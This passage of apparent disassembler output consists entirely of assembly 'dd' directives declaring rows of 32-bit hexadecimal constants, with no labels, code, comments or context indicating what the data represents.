		dd 0A6FCEC64h, 0EA4BF30Ah, 24F3170h, 0BD3A200h,	9E36E43Fh
		dd 0C5C4065Ah, 5FA13931h, 0F006F135h, 0C0936AB7h, 7873F05h
		dd 5D38EDC2h, 252B5042h, 7F763FA8h, 8AD60656h, 0B3B381DAh
		dd 8BADB174h, 240EB290h, 5CE0810h, 0E57409ECh, 0DA64338Bh
		dd 0F731FD78h, 6E280A09h, 4DD621AEh, 18E49FE8h,	1CC646C8h
		dd 0C1A67D7h, 0E15AD2BCh, 0AC196CE6h, 47C6F03h,	365312B3h
		dd 241FD255h, 4FA695B0h, 0FBA3C819h, 33526B4h, 0E76C7828h
		dd 6BA22842h, 0ABBF64A4h, 3646C765h, 5598839Eh,	95A8DF46h
		dd 2783F121h, 3620101h,	194BFB82h, 0FBD780C2h, 2CA8AF4Eh
		dd 186C6816h, 0C20A907Eh, 0D764EFAh, 0E5D60926h, 165AAE95h
		dd 2B83F917h, 37C80510h, 5F2FFDC8h, 0FBF5D17Ch,	4658A7EEh
		dd 1C12A437h, 92A954C8h, 0C6B1EA69h, 3131F5h, 5D80B4BFh
		dd 4410ED19h, 6581DD06h, 0BBD7011Bh, 0C0C24934h, 0FCC37052h
		dd 315D1083h, 1AE51FC8h, 769732AFh, 0A2D7DAD2h,	0CE8DC7Ah
		dd 85C8131Bh, 806097ACh, 0C94A57h, 60912E4Dh, 629AD4A7h
		dd 29B075B0h, 5A82B62h,	31B9FFF7h, 17D3D190h, 0E6AC970h
		dd 4669E201h, 0B09858D5h, 0B579B03Ah, 0A821C819h, 1290A88Ch
		dd 355E3183h, 0C809788h, 91BD6137h, 8CB820EEh, 0F51446F0h
		dd 627684Bh, 3F646E11h,	0FD5C4498h, 30594F87h, 6D476F1Fh
		dd 0BBC2D0A8h, 387705D2h, 0D6B8DA1Bh, 95629CB4h, 826AF822h
		dd 0A4432847h, 0B4A21F03h, 7FFD376Ah, 19EA9D4h,	13506610h
		dd 0FE2EC5CAh, 60E98401h, 62068110h, 59383D2h, 0A1B0D88Bh
		dd 7301FD48h, 0C83E2C32h, 9FE7951h, 57878702h, 65A904B3h
		dd 2E10EDC9h, 4F0A90Bh,	2F8DC16Ch, 72E02888h, 0E50F6D94h
		dd 77523928h, 83D2C554h
		dd 0A896BE42h, 17CF23ECh, 0B7EFA445h, 610CF24Eh, 0DC14BE42h
		dd 0D04C0AF9h, 11142CAEh, 8A501DB6h, 4C835238h,	7ACA1022h
		dd 0AAB81626h, 2A5234ADh, 0E06BC834h, 2BE1A7AEh, 60F83B9Fh
		dd 0ED58759Ah, 3891107h, 7551AC49h, 0DC3BFE57h,	0F18325F9h
		dd 0CC36C10Ah, 25AF5300h, 818614DAh, 8813ED14h,	50851DA3h
		dd 6C6846Dh, 10BA3AEFh,	411D268Dh, 165316B5h, 0C456DBBDh
		dd 0AA192D0Ah, 2AC0B0C1h, 0CEED7589h, 0BC1D42AEh, 31333D79h
		dd 305E3842h, 0CAE3E7C9h, 82230A31h, 716738C1h,	0C345EBDEh
		dd 5C436329h, 0DB50D87Dh, 0E0509267h, 11F9C412h, 0ED25D5C1h
		dd 2612C5F0h, 0A3F8D4E2h, 2B456088h, 800CA2FEh,	0A0526810h
		dd 464177F1h, 0DACCAEBFh, 0F9DB98BFh, 618774E0h, 17CAA05Eh
		dd 0D4811119h, 27D3C819h, 23702129h, 7EB11B97h,	0E5DE7A10h
		dd 8895355Fh, 3E9886A1h, 637AF3F8h, 0E91F851Bh,	5C47A0E0h
		dd 0C58D8FF9h, 77B1C7h,	21FC87Fh, 71E81310h, 7D7866h, 1BC005FEh
		dd 2495082h, 58287A01h,	6EBCA803h, 8A3BD152h, 0EAD2BC58h
		dd 4F864543h, 90A37B1Bh, 54A02A86h, 83252E83h, 7A88252Eh
		dd 4DE1CB26h, 762AAD5Ch, 29C89513h, 709C8D43h, 0D886FF70h
		dd 581C06D4h, 4507C17h,	644F26F1h, 0A521C2CAh, 3A8957DFh
		dd 0ADE450CAh, 532E2476h, 0B2FB3166h, 9D79D458h, 66710402h
		dd 0FA905D45h, 0DF4C17E0h, 0F983E527h, 29335D3Fh, 0F94DF37Ch
		dd 0C122BF8Bh, 0FC878F47h, 0A0F320E2h, 0BA54E3AAh, 12C0F6E1h
		dd 0B6488A28h, 295FB2Eh, 7F3C795h, 0E0CA8EE7h, 93F104A4h
		dd 3528CFC2h, 0E2E7683h, 9D94AC81h, 6860BF04h, 7323845Dh
		dd 2FC6B0B3h, 1594A59h,	4493699h, 7F07BA99h, 30753264h
		dd 4167C1F0h, 0F2E24CE6h, 2600794h, 0B4287389h,	0E3240CBFh
		dd 3A02BC81h, 0B55A495Fh, 0A5533B8Ah, 42C464B9h, 0FF820B01h
		dd 6567B383h, 313E53F0h, 0AFA0E241h, 39FBB3AEh,	105AD9F2h
		dd 101265E1h, 80523A08h, 4E8B00C0h, 99D8CD2Ch, 6AF89A01h
		dd 1D621E5Dh, 4BFEAA64h, 23881113h, 0E7A691D4h,	232D1F44h
		dd 3B2098DAh, 0E5940048h, 3E610736h, 0C0BAF587h, 0A20B196Ah
		dd 5181A793h, 2B896166h, 6D05B932h, 911D06h, 1A3BD66Eh
		dd 40548DA3h, 3DA44204h, 0C632FC28h, 0C3F1FD07h, 0A42518E9h
		dd 2916B2F6h, 44527619h, 0B9339A70h, 0AB83C372h, 53B02ADAh
		dd 0EE0EFE82h, 669A6567h, 0CAD78051h, 855A57BEh, 536C421Fh
		dd 9DA33297h, 0A3841F81h, 8B73B4ECh, 419ADBFCh,	39C292BAh
		dd 0E468E0A4h, 5D9C6AD4h, 0F42E335Bh, 50B92694h, 5AD9EB5Ah
		dd 81BCA159h, 0B1C53228h, 6362B8Bh, 2F796505h, 14BD19F1h
		dd 8D146A5Ah, 0B635B581h, 2D9949C6h, 1D6A5E83h,	44E7C289h
		dd 0BDE8BB1Fh, 6E726FD1h, 11939394h, 7AF2243Dh,	0A9C84307h
		dd 7020D575h, 231FF2B9h, 0CA3E6D41h, 514FC541h,	0A2B8AC68h
		dd 0AB17DA06h, 0A45C38A0h, 0E0E6250Ah, 3854A787h, 920A6C51h
		dd 0FB0BD44Eh, 0FFF4B55Eh, 97C331CEh, 86A8FDC5h, 728C61EBh
		dd 0C2A0758Ah, 86ACCCFEh, 0CBADE686h, 6CC7F24Eh, 3048DA2Ah
		dd 85F52772h, 0AC1F29FEh, 7BB0EEB0h, 2E5E0E28h,	0E237AC80h
		dd 74598BF9h, 0A9D9DC5Ch, 9E809848h, 70CC46ADh,	0E110E87Dh
		dd 10F41DECh, 405B05h, 8754B97Ch, 8CC3FCC5h, 0C1F2583h
		dd 523A201Ch, 4E045657h, 4DA11BE4h, 0DAA6977Eh,	3ACB2956h
		dd 76900B5Fh, 32D85306h, 0FBA712D4h, 759439C1h,	50194DCh
		dd 0FF58AC07h, 228603F5h, 2063E05Dh, 0A292F18Dh, 241317C6h
		dd 94AE3A6Bh, 0A6F99F75h, 0D93973D1h, 90E7486Ah, 26456542h
		dd 97065D12h, 0F3ACDF26h, 0FC2B09EBh, 82666A94h, 0E7ED5304h
		dd 90553C1Ch, 0AFA90C5h, 93476D52h, 4823D343h, 4F0AC294h
		dd 6F3C6A8Dh, 89DEC2A5h, 0F2888F8Ah, 7198090Bh,	7C9419DCh
		dd 1444559h, 5385A500h,	7D932B8Ah, 0EA491129h, 36F962F9h
		dd 0E533EFE6h, 48EB3850h, 218098F6h, 43EE988Ah,	60F611FFh
		dd 2430B330h, 0B14939F3h, 7318BF5Ch, 185CE0C2h,	2128E435h
		dd 58584863h, 6C851937h, 0F08F4A85h, 420942E0h,	0E223F03h
		dd 714017A5h, 0BCC88250h, 0F0C59160h, 7529031Ah, 0A8A2144Ch
		dd 0D64C0085h, 44C300C1h, 6BEC7579h, 0E81442D1h, 0CA4D8D03h
		dd 267650F2h, 0CFE10F7Ch, 2A47A28Dh, 46C3FBE3h,	0AD0985F0h
		dd 6EB1544Fh, 4289BDBDh, 237BBBCCh, 7598FCDFh, 5621A133h
		dd 513AE3B9h, 4F9C7898h, 0BAFC6445h, 54EBB428h,	32530C74h
		dd 0C87409Bh, 36F2AA35h, 0E3910446h, 75CB0813h,	0F84CA9DCh
		dd 0A4514D6h, 0A32B0E3Ch, 13080022h, 82280127h,	4482C69Ah
		dd 22AEE34Bh, 0F6861741h, 60086AB1h, 95F8589Bh,	80FF6352h
		dd 8AA715CDh, 3CB72A69h, 0F7D04057h, 561AA317h,	7E027A50h
		dd 736A63EAh, 567D9F05h, 2944A1B4h, 9848AA0Eh, 0A2A81551h
		dd 0A2AD1F1Ch, 67D0B26h, 0EB6E5737h, 76621A43h,	2E90A7D6h
		dd 640FA822h, 864ED7AFh, 0D31E9F33h, 0D061744h,	544A34BEh
		dd 5F20870h, 63EB3ED4h,	5C33EE61h, 55EA352Bh, 0C6D507FDh
		dd 2840E130h, 120215F4h, 0E5D22006h, 3D6DB53Fh,	0D868BD8Dh
		dd 6AE107C3h, 0B818A343h, 0BA457881h, 0DF473A9Dh, 0C2F08CF5h
		dd 37C8D8Dh, 0A60A077Ah, 90F12D7Fh, 0E3BF2C51h,	22EB8F41h
		dd 4BB399D3h, 0C8C2A156h, 548A21D5h, 7A84BBCAh,	0AE4970D9h
		dd 67352F5h, 0DB7C6946h, 560E63B9h, 0F63C1759h,	921B7B0Ch
		dd 0ECE7F2Eh, 168F4011h, 5F423E22h, 0B5408F59h,	18004128h
		dd 8406A4Fh, 192C6505h,	55356CCBh, 0CBA49BD1h, 47F3390Bh
		dd 900C4CABh, 7DADAA4Fh, 0C4D25D75h, 9CD4CD14h,	4E93218Ch
		dd 1D7FAB23h, 0E9301C3Eh, 67FA4872h, 610077B8h,	95CB1EAEh
		dd 7B320462h, 0D2BEDD2Bh, 0C4749210h, 0ED4C53EEh, 0CE587D3Eh
		dd 4EEF9A0h, 0C18EA6A3h, 0E8427A45h, 791C4254h,	96A2F920h
		dd 86BAD2E8h, 3D7E8174h, 986A8E17h, 570A355Bh, 2BCA202Dh
		dd 0C2A9A834h, 0D08CA624h, 0FD8920A9h, 4E041F83h, 3DE1873Dh
		dd 0B36AD40Bh, 7006E102h, 0E7A45D62h, 0B5288122h, 0E651BAB3h
		dd 5D217585h, 0A8083BF8h, 7F008C0Ch, 4D5B3AA9h,	7350FB2Eh
		dd 0D3AC5B3Eh, 101AE6ECh, 0B71B67A1h, 9F63BAA6h, 610E0614h
		dd 0C4AF6902h, 9DFE1988h, 85FAF149h, 0A830D53Ch, 77D53B57h
		dd 5FCFE8CBh, 74247EFDh, 0FA125D34h, 9B800382h,	0CDD26BCBh
		dd 9FE6CFE4h, 17DA3602h, 0C7DAFFDCh, 82654ECAh,	0CFB0B03h
		dd 82485F6Ah, 455D4C54h, 0F9812E91h, 647C0A02h,	908FB204h
		dd 4A3B277Eh, 694C8A72h, 5C5938AAh, 5775413Fh, 31BDE8F1h
		dd 0F5435874h, 6937C9CDh, 0F4B7909h, 22577AE1h,	8D23C742h
		dd 7D2EEB6Ah, 55ADED41h, 71AE4419h, 0F10BA285h,	71108412h
		dd 155BC5C4h, 0B6F2350h, 4B516743h, 43428B2Ah, 8370F636h
		dd 7549F584h, 0E1EBCB94h, 851D3453h, 0FCB889BCh, 0A2B80F67h
		dd 6121D54Bh, 0C5FF39F1h, 653E5D9Ah, 5CA9CEB9h,	3ECDD471h
		dd 83BF84C9h, 25CAD269h, 0B190ADF4h, 0B71508E6h, 0ABE86F5Ch
		dd 0E1AF03FFh, 9BACC839h, 0C6E430Dh, 74244DB6h,	84FD712Ah
		dd 0FBC69CFDh, 0D3AF89C3h, 684D2FFh, 2F102BDCh,	0E8A57F91h
		dd 0AF42247Bh, 8CEA722Eh, 0DC37AA99h, 8DECDC59h, 7FFB0A0Fh
		dd 0DD5A300Ah, 5F125842h, 0EF519B9Ch, 3E9E14Bh,	0FA4CDF92h
		dd 129837h, 3360517Fh, 0D5A37100h, 0A04E86F1h, 50DC8867h
		dd 980B5AEBh
		dd 0D32A8B26h, 450BEEA1h, 89819A44h, 0B0C3D938h, 0B48EE741h
		dd 0A67CF945h, 4D74984Ch, 6741DD6Eh, 0F9097708h, 42F81D7h
		dd 9A234228h, 7F20E41Eh, 0ACBE3080h, 0F29A8D06h, 0A13B47C7h
		dd 5357E2AAh, 12243A0Ch, 8CE16C02h, 438A8F77h, 0F9202340h
		dd 0BA4C89CCh, 0C00C0346h, 0ACC47C9Ch, 0E0C1EC21h, 0AB0D557Ch
		dd 4731EF83h, 0DC1F8336h, 40E7E5C4h, 9648C678h,	8BBC15C2h
		dd 90D32795h, 391459Fh,	0F4F04026h, 9820E46Fh, 0A89C1A15h
		dd 0FA2082Ah, 0B94B984Eh, 4090D3FFh, 0EDD820ECh, 90FC4ACCh
		dd 367F4431h, 2CBE3DECh, 0AB98F24Ch, 98863015h,	80CB502Dh
		dd 3D3B581Bh, 19404B7Ah, 0BA0BD2Bh, 749A448Ah, 9616084Fh
		dd 0A4473014h, 4ADDC596h, 993A8B65h, 0F3202240h, 6CBC24Fh
		dd 3A86FA1Dh, 41ADCC63h, 7CD60249h, 0A0C6A64h, 19DBCD0Ch
		dd 0DFA65E93h, 0A8CF2FB4h, 0F60A0AD0h, 0F4A82507h, 62EF8903h
		dd 0E45E33BBh, 0C6FCFFC5h, 0BE6E6274h, 0F68560C1h, 61C6BB27h
		dd 50F4DB35h, 0B44845C8h, 0E1E372B1h, 0BC514340h, 215180AEh
		dd 0C0860046h, 0D7FDD4DBh, 0D268BD18h, 526E83F8h, 14B4C1BAh
		dd 216C9460h, 42D7169Ch, 8BCC5ED6h, 6E9C7659h, 2427198Ah
		dd 0AC42D858h, 741B76CBh, 53178609h, 0A9F19B2Bh, 144C6A41h
		dd 6B56AC93h, 39E6A8Ch,	0B17CCB5Dh, 3344DAEh, 0A1B005EEh
		dd 74482F11h, 660D5E6Ch, 6B2AA4F2h, 8EF1F324h, 33721FEDh
		dd 34CD16B2h, 3FD04187h, 0E87DA408h, 0A87B54ADh, 879912Eh
		dd 877912Fh, 0C8C6912Bh, 698C9263h, 22AD2AB8h, 0A46CE79Ch
		dd 98AA7BA2h, 0A5423DBBh, 0A6F42F9Dh, 0B975338Bh, 0E8531AAh
		dd 10850DB8h, 0AAC07A34h, 0BB38F841h, 1E4CCF0Eh, 0D11F09F8h
		dd 0C817DC9h, 5D94F58h,	95A7E54Dh, 39A6E42Eh, 0A0504764h
		dd 8421CF33h, 8A7B0A00h, 1C290644h, 8B88F9BDh, 9A6B071Eh
		dd 0BC175331h, 8C6D98F5h, 0B86E4653h, 0CEE377D9h, 6197C619h
		dd 0E8392A26h, 0C12038Eh, 34D42782h, 0E7BDA333h, 0A4EBD9BEh
		dd 6B18175Bh, 0ED80B0C8h, 43D2D7FAh, 62588D07h,	941799C0h
		dd 0A9BAF028h, 0B03F582Ah, 13A22337h, 0A2F25F71h, 326DACE1h
		dd 3398F831h, 64A22068h, 0E3962B63h, 0C06F7293h, 936C0060h
		dd 24E42029h, 0BCC47315h, 4D5DA50Ah, 42C80CC5h,	58A65DA9h
		dd 585024ACh, 0E3A97838h, 0C3F669DCh, 0E3A27493h, 0B386F47Fh
		dd 30C4D0CFh, 0F8BF3BDCh, 45851599h, 89EBD7BAh,	82635360h
		dd 0AF186E2h, 58E81010h, 0EF169305h, 44EF8D56h,	0F574AE38h
		dd 28B78CD2h, 5DB973Bh,	37853852h, 3B877F0Eh, 0A8AF5A66h
		dd 3DB8E22Bh, 23D4C4Eh,	8BBC6672h, 89810C91h, 0C2E07760h
		dd 97B64D96h, 594D8619h, 7020BA23h, 9AC7633Dh, 0AA2826B3h
		dd 0E8A36817h, 8B47D5A6h, 0A0F3425Bh, 71FC051h,	76280BCFh
		dd 9C21B0DCh, 0A4B29FBBh, 662C9A24h, 2E6E80D3h,	1EE0A06h
		dd 0F37FD7A3h, 615F62F8h, 6A277560h, 9CC36684h,	0F105CC96h
		dd 1C630ADDh, 8DB80210h, 425B8B9Ah, 24AC0CDFh, 0FE467E85h
		dd 89A16890h, 0D072E75Fh, 209EA8BEh, 466B7578h,	0C3B04202h
		dd 396AC6BAh, 0D3231FABh, 9C813B39h, 6D92D3Eh, 0BE9425FAh
		dd 8ECBB181h, 0E0EF597Ch, 1575F33h, 9F621ABBh, 2AA807A4h
		dd 0B2E95A82h, 0B6630426h, 62FB0A63h, 0FC16F4CCh, 0B3270FDDh
		dd 2498F33Fh, 7FE2E8EDh, 0AFE60334h, 43501846h,	78187D8Ch
		dd 0D730800Ch, 0A9BBD80h, 789F0A18h, 0AB62CB99h, 0F031AB39h
		dd 0A3CEEFA6h, 5D23BFCDh, 0AC7FA70Dh, 0E8A5390h, 61116268h
		dd 0B017984Ch, 1544E284h, 7981DF3Bh, 279365A2h,	0D616F4C0h
		dd 4C68B96Dh, 1536C98Eh, 9EB56D55h, 10933829h, 0D3D789BAh
		dd 1CB83786h, 703F2169h, 0B61314A2h, 0FA7AAD1Dh, 6896C6CBh
		dd 53692B46h, 0CBE716B3h, 0F1042722h, 92967F3Dh, 20958213h
		dd 6E442818h, 0D3921E31h, 4D7C1A2h, 90E08712h, 33608E50h
		dd 49999188h, 7A416C84h, 80A583ECh, 6483748Ah, 0EC7E01A3h
		dd 235043F7h, 0C4401EB8h, 0BAEF664h, 2C811559h,	40FA9030h
		dd 0A3134CFAh, 0FE290827h, 96B9BEB5h, 0FD8C7C69h, 896EC3BEh
		dd 0B9E61F48h, 3B8AD316h, 0B17F6B1Ah, 5C76E2FBh, 98A48BA8h
		dd 8522DF39h, 506B2599h, 3162EDDh, 0C5F1FFEFh, 3BAA6854h
		dd 7108E17Ch, 0ADECF688h, 0E7FEE376h, 3C974A1Eh, 352D9AE8h
		dd 5EC6F830h, 50A93514h, 366A66A5h, 0E0CCAA76h,	672C1F83h
		dd 81700A7Eh, 0FC28A99h, 188827DAh, 0D7CC4C87h,	43AA753Bh
		dd 0A30FC6E1h, 44E257C6h, 0C477713Ch, 0C5C5D2A4h, 0F3B02E94h
		dd 818AEAC5h, 771F1399h, 8D0108A6h, 0F5CC9313h,	60493940h
		dd 253BA936h, 7E92831Ah, 0E8FE75Dh, 1F6EB67Fh, 88B3E3D7h
		dd 2701D124h, 10824145h, 0D5203867h, 84BE8477h,	18E35863h
		dd 1127EC1Dh, 73BBF6F9h, 0DA92A24Bh, 1865DD2Ch,	0FAE23011h
		dd 2895296h, 41B85A86h,	5A4A59B8h, 111311B8h, 0E04A0F67h
		dd 30175Dh, 57FECA76h, 86DDF332h, 94C121ACh, 51D27A0Fh
		dd 7DC6535Eh, 0D1B05D48h, 29BC6E2Ah, 60500A45h,	7909844Bh
		dd 0D5E1C56Eh, 0A054880Eh, 0C582DAC9h, 0CDE4C01h, 62E9D462h
		dd 60BF0FAFh, 0E2865163h, 0E0CC2B47h, 0EA0B1A6Dh, 85F66D05h
		dd 2551D241h, 62C42AF3h, 96BA7214h, 2091D40Ah, 0CE1C7E7h
		dd 25EC748Dh, 98676192h, 30BD7C96h, 1F5C04B3h, 37980A9Ch
		dd 32374CD5h, 69ADE712h, 390A5418h, 62099595h, 6424F915h
		dd 0B08BB57Bh, 217509B6h, 0ACA0BA30h, 63886809h, 0A0787159h
		dd 4B07DC62h, 0BA9B4E03h, 38EA9D9Ah, 0D2D8C63h,	0A3A262BAh
		dd 0A8F2D308h, 0CBE446E2h, 0BA37602Eh, 0C6FDCB1Ah, 0A774D414h
		dd 2B62155Eh, 2341FC23h, 880067E6h, 2E522360h, 418685EDh
		dd 0D295040h, 7C5A008Dh, 34FEDC49h, 53BAD941h, 0BE1D3E61h
		dd 70193EC7h, 66099EB5h, 687D8415h, 234B216h, 0B48FE0Eh
		dd 8947880h, 82251126h,	0E18D044Ah, 52938112h, 3D60743Bh
		dd 0D2CF75E8h, 0A2C2DE57h, 0C7B1C15Eh, 93C1332Eh, 0E03CFA95h
		dd 93C5F9E1h, 3A38B97Dh, 0FD58F09Ch, 7CAB3F15h,	56555927h
		dd 2714A44Ah, 48306A81h, 630BE70Ah, 19811586h, 4AF8D2BAh
		dd 42BD9388h, 9CC34E3Fh, 0A81C0685h, 0EFBF4F9Eh, 0D2057D72h
		dd 0BD07DD0h, 0A21693E0h, 6AAC840Ch, 0D1E95405h, 5A884206h
		dd 0CB4AD0A9h, 1188D444h, 25558431h, 6BFEFC3Dh,	0C0B92054h
		dd 0E843FA68h, 0B4765919h, 80271472h, 400C2F89h, 496A5106h
		dd 0F68C6C1Ah, 0F380CDB1h, 88006C16h, 4095234Eh, 0C86FAD5Ah
		dd 2AE87A60h, 0ADE553D1h, 6E4895F4h, 22D7122Dh,	32D9B5D9h
		dd 4388EB80h, 4248D921h, 19279774h, 8B1D6D91h, 9E8E5347h
		dd 621E164Ah, 1EAE21F4h, 65F370B5h, 133E2E1Eh, 260F47A1h
		dd 1E65323h, 64F0C30Fh,	294F50FCh, 4E707908h, 8A5359A1h
		dd 3BA44032h, 4FE37D11h, 0B28CAEA4h, 431F56A9h,	977B939Ah
		dd 66285C0Bh, 319EA40Fh, 0A2CB0F78h, 31D89CAFh,	607C69ECh
		dd 0D8FA30F3h, 5A2E03A0h, 42651708h, 0CEF92BBFh, 0AFDF4CA9h
		dd 0E0C4F759h, 0C8C8B383h, 0BE7A04B3h, 68185286h, 0C9404655h
		dd 36282287h, 52A81866h, 3D335EA1h, 64DD8C57h, 73D2D71Ah
		dd 2DCF670Eh, 40C3574Bh, 58CA3161h, 4FA2947Eh, 903C98E3h
		dd 0EAD22F9h, 2393BE54h, 536BE8Bh, 13A948E5h, 0A25D6CDh
		dd 808711BAh, 4AB01020h, 4011911Bh, 0BE5402B8h,	3B72D424h
		dd 0D2F90ADCh, 0C3CA2A0Bh
		dd 108C5079h, 0F6F22A3h, 0E308BE54h, 763B708h, 104A94ACh
		dd 14BF0023h, 3E091091h, 0A5F611B4h, 540F2F44h,	26F806BEh
		dd 0B32C6009h, 300436D8h, 5B127AA5h, 75C6B09h, 0D34E5F2Ah
		dd 828ADFE6h, 1C4D8476h, 7282600Eh, 0D90F4EA4h,	8048816h
		dd 115F2321h, 0B7FFB300h, 0A0C22A0Dh, 541B64D3h, 48B880BEh
		dd 0E5407163h, 0A4232C6Bh, 9610BDC5h, 8023E30Bh, 38960771h
		dd 625B944Bh, 0E92F912Dh, 0BA3244B8h, 199502h, 0CC5F499Eh
		dd 430CF47Dh, 5F2ABEA0h, 5C928F15h, 22770574h, 55DDE793h
		dd 0F87ACBABh, 0F7773922h, 0C597286Fh, 0EC5F5DACh, 315F468Dh
		dd 767E1BD7h, 0C4460DB2h, 4EB5EB04h, 0A8544EF6h, 0EE97340h
		dd 0DD7E69D7h, 562003A7h, 0B57261D0h, 5C260B8Bh, 0A517F701h
		dd 95D025E4h, 0A62B4BC5h, 3CE65430h, 56E03759h,	59570BD0h
		dd 30DEE8FDh, 0B9F6404Dh, 520689D1h, 398AD981h,	85D7E6FEh
		dd 1E6018BFh, 878A92BAh, 9BB081AEh, 0B8BA8313h,	485E88C2h
		dd 0A7058698h, 19CFF22h, 0E5FD1657h, 6234119Ch,	78C488C6h
		dd 0C25A96AEh, 928A42E8h, 0D228B4FEh, 0D9EC9BE4h, 2851C4ABh
		dd 0CCA2D228h, 1956447Eh, 2935A6E5h, 56A9D5F4h,	8A42984Eh
		dd 65E17179h, 795DBD01h, 0C0EF9CAAh, 8B45929Ch,	0EC941C25h
		dd 0FA013CAh, 0B08BBD06h, 0D641A4E1h, 4E754FCDh, 0BE5E1D55h
		dd 18131568h, 68F3654Eh, 0D7A4BB04h, 0BCFA442h,	3B0B1481h
		dd 0CBDF1A09h, 0DB994845h, 21EF5E76h, 439770C6h, 3FFD93CAh
		dd 8655ADCh, 5E681608h,	0CFA4CBD7h, 8973C595h, 4AB3E72Eh
		dd 60282B9Fh, 0B6464745h, 0D74E342Ah, 4D154EF8h, 2059D2ACh
		dd 0C9CAE578h, 0D74E837Dh, 56D6ADADh, 1E58DE2Dh, 83FA1210h
		dd 51AB39EDh, 2A17A85Ch, 0D1504011h, 301408BCh,	0EB31B638h
		dd 783C97A4h, 0EC585DB4h, 13544E98h, 2A8C24E8h,	890D99DBh
		dd 261BD496h, 71C4D7Ch,	7FC07D94h, 0DF1E5F1Bh, 87B201D9h
		dd 0DEE5B373h, 48C201A7h, 0CC79F11Ah, 0DA009254h, 0B686748Dh
		dd 1381A986h, 0AD1834FCh, 65ED2A88h, 228C5812h,	0AC431CE8h
		dd 9466ADA8h, 0C5814C70h, 24CC3048h, 71542B5Eh,	889A5008h
		dd 15D65886h, 13EB4F65h, 2FC58EBFh, 0BD653456h,	0E76A0A01h
		dd 0DB4C7475h, 37D27CC1h, 6AF54127h, 6755B728h,	4E1EEE14h
		dd 0A3E03DCCh, 0B8F2BF55h, 0D1DAC585h, 0F80831B1h, 597BCDA3h
		dd 85135F44h, 8212305Ah, 10AC1A48h, 8FC38C4Bh, 0FECCCF62h
		dd 0FD74234Fh, 2ACB4F40h, 11573ED0h, 0A0D6DADEh, 1602315Eh
		dd 42499101h, 9A39E40h,	855A80F5h, 2928CBF1h, 1AC697E3h
		dd 65C472C0h, 9683EE52h, 7EB48B81h, 8513EA03h, 44C04CF7h
		dd 664713Ah, 4FC3E5ADh,	36BC5417h, 292CA49Ah, 3465A67Bh
		dd 8B41198h, 7472893Eh,	0EE2A391Ch, 43202A72h, 0DD47C4BFh
		dd 74C5638Eh, 39840055h, 8BB81223h, 0A28E5D65h,	2A8AD494h
		dd 6D65CF7Eh, 0A80158F9h, 91B198D2h, 0B656B943h, 0B7BBEF98h
		dd 0BF22CE28h, 24C3048h, 3CBFA14Bh, 0F6DCC00h, 0B8C202DDh
		dd 2A965D80h, 9C85F733h, 8B157D38h, 55AD0E84h, 0F5D6302Eh
		dd 0D09E514Ah, 0EF8D0EF1h, 0D301B834h, 0AB547D38h, 0BB6EA306h
		dd 0D68F117Eh, 44B4B50h, 132AC13Dh, 8459AC78h, 654CCCCh
		dd 0A34DF5C6h, 3E9682DAh, 0BD677D13h, 0AD89E458h, 0B07CF420h
		dd 0E8408640h, 0BE1A1902h, 0B57F1F97h, 1348F9EAh, 8B59ABC1h
		dd 0F6BF4AAFh, 0CF09DF23h, 0B41FCA0h, 720E501Ah, 50861180h
		dd 672EA90Dh, 6621DC87h, 0F4D8162h, 2E75FB42h, 787644E5h
		dd 0BC047DB4h, 0F9F56A12h, 9941F5A8h, 1B252659h, 0C640CF28h
		dd 0D9D0FB6Bh, 0F3DCE620h, 0DDE21022h, 831AC0ECh, 150512B3h
		dd 2C5BC79h, 474503FCh,	0F1CC7EE5h, 0C63660Bh, 0A308A2Eh
		dd 0DE6103F8h, 0A8398608h, 0D8C24B51h, 331D82F2h, 8F9F92A3h
		dd 6F250860h, 14ADF0CFh, 0E952904Bh, 0BDA085A1h, 87CEE17h
		dd 1550033Fh, 174F3D70h, 0D3C5B24h, 9C95D62Ah, 9615B097h
		dd 8FAEB915h, 0E2E0BB95h, 7B8BDD1Bh, 3202F294h,	7AE24324h
		dd 6FF1B0E0h, 8D42183Ah, 12F2D0B2h, 40AC126h, 0A0D1F102h
		dd 75C367C9h, 8DC884E2h, 96E554FBh, 0F5E726EEh,	60916DFAh
		dd 53334EF9h, 0D3442B49h, 98A51EC6h, 0D0C6E7FAh, 0CE088B8Bh
		dd 4557F954h, 0BA5111AAh, 9CB87390h, 524C080h, 85AFCE94h
		dd 0A66D25B3h, 62BC584Ah, 5506CE3Ah, 101B5DEDh,	2F994219h
		dd 426AC3CFh, 23FB46C2h, 275BB0C0h, 106C5155h, 73E068C1h
		dd 41F613C2h, 84B28A5Eh, 9E004FEh, 1A222B87h, 3216FF2Bh
		dd 485BB255h, 58320181h, 0EB748858h, 30CC666h, 0E4C41019h
		dd 0DD5B57AEh, 28655D59h, 49821898h, 25CBA577h,	95525153h
		dd 7B0879F0h, 8E4ACBA2h, 0FAC82116h, 0E8F2426h,	0D606114Ah
		dd 0FFEFA1B9h, 3D0ECBFCh, 415AC480h, 9FC6A34Dh,	48C14A0Fh
		dd 0C08C0452h, 577A9D11h, 8F1062F4h, 0E49DE260h, 0B1C46CA0h
		dd 662A8382h, 6F80193Eh, 2E97CE6Bh, 0D46C807Ch,	583C7668h
		dd 0A6B230B4h, 0D72AADFFh, 618BB8FAh, 51505914h, 5E054120h
		dd 5E6C1EB5h, 95111BF4h, 0E4EE4828h, 6077820Bh,	3409D170h
		dd 0A2F86842h, 908308F5h, 48B09E45h, 88F1A340h,	41BAE893h
		dd 808058D3h, 958D820Bh, 215CAF8Ch, 0A0ED5700h,	7155EC06h
		dd 49034120h, 0CFFC7AE3h, 0D9F82C01h, 0CAD71650h, 0E05EB855h
		dd 2918C85Fh, 4006B104h, 11F70148h, 0DC4E4701h,	97CF3DC9h
		dd 9776C267h, 0C26D3389h, 265D58C7h, 0C13B1D91h, 487E1563h
		dd 0E8805005h, 0C6E03782h, 0CC62CDC0h, 0C5AA9B09h, 1A85E950h
		dd 8DA37903h, 5422D683h, 90107F5Ah, 0D13A1778h,	0DD9336B2h
		dd 3FF3CBDDh, 0F88060B9h, 39804D82h, 87C055E6h,	0A5443C5h
		dd 0F214715Dh, 9038017Ch, 0C1F36F5Bh, 538756C5h, 21A140ADh
		dd 90E66ABh, 1F185466h,	0CECC0CB8h, 836B6F68h, 3EA0D20Eh
		dd 6263D3B3h, 55953FDDh, 0F8E11906h, 6066160Dh,	0B4B3FF5Ch
		dd 0F20C0B37h, 3BFD0F04h, 4617C6EDh, 0A430DD22h, 823AAD0h
		dd 1CC10319h, 1FF5E029h, 0A919D3E2h, 410516E5h,	642B257Ch
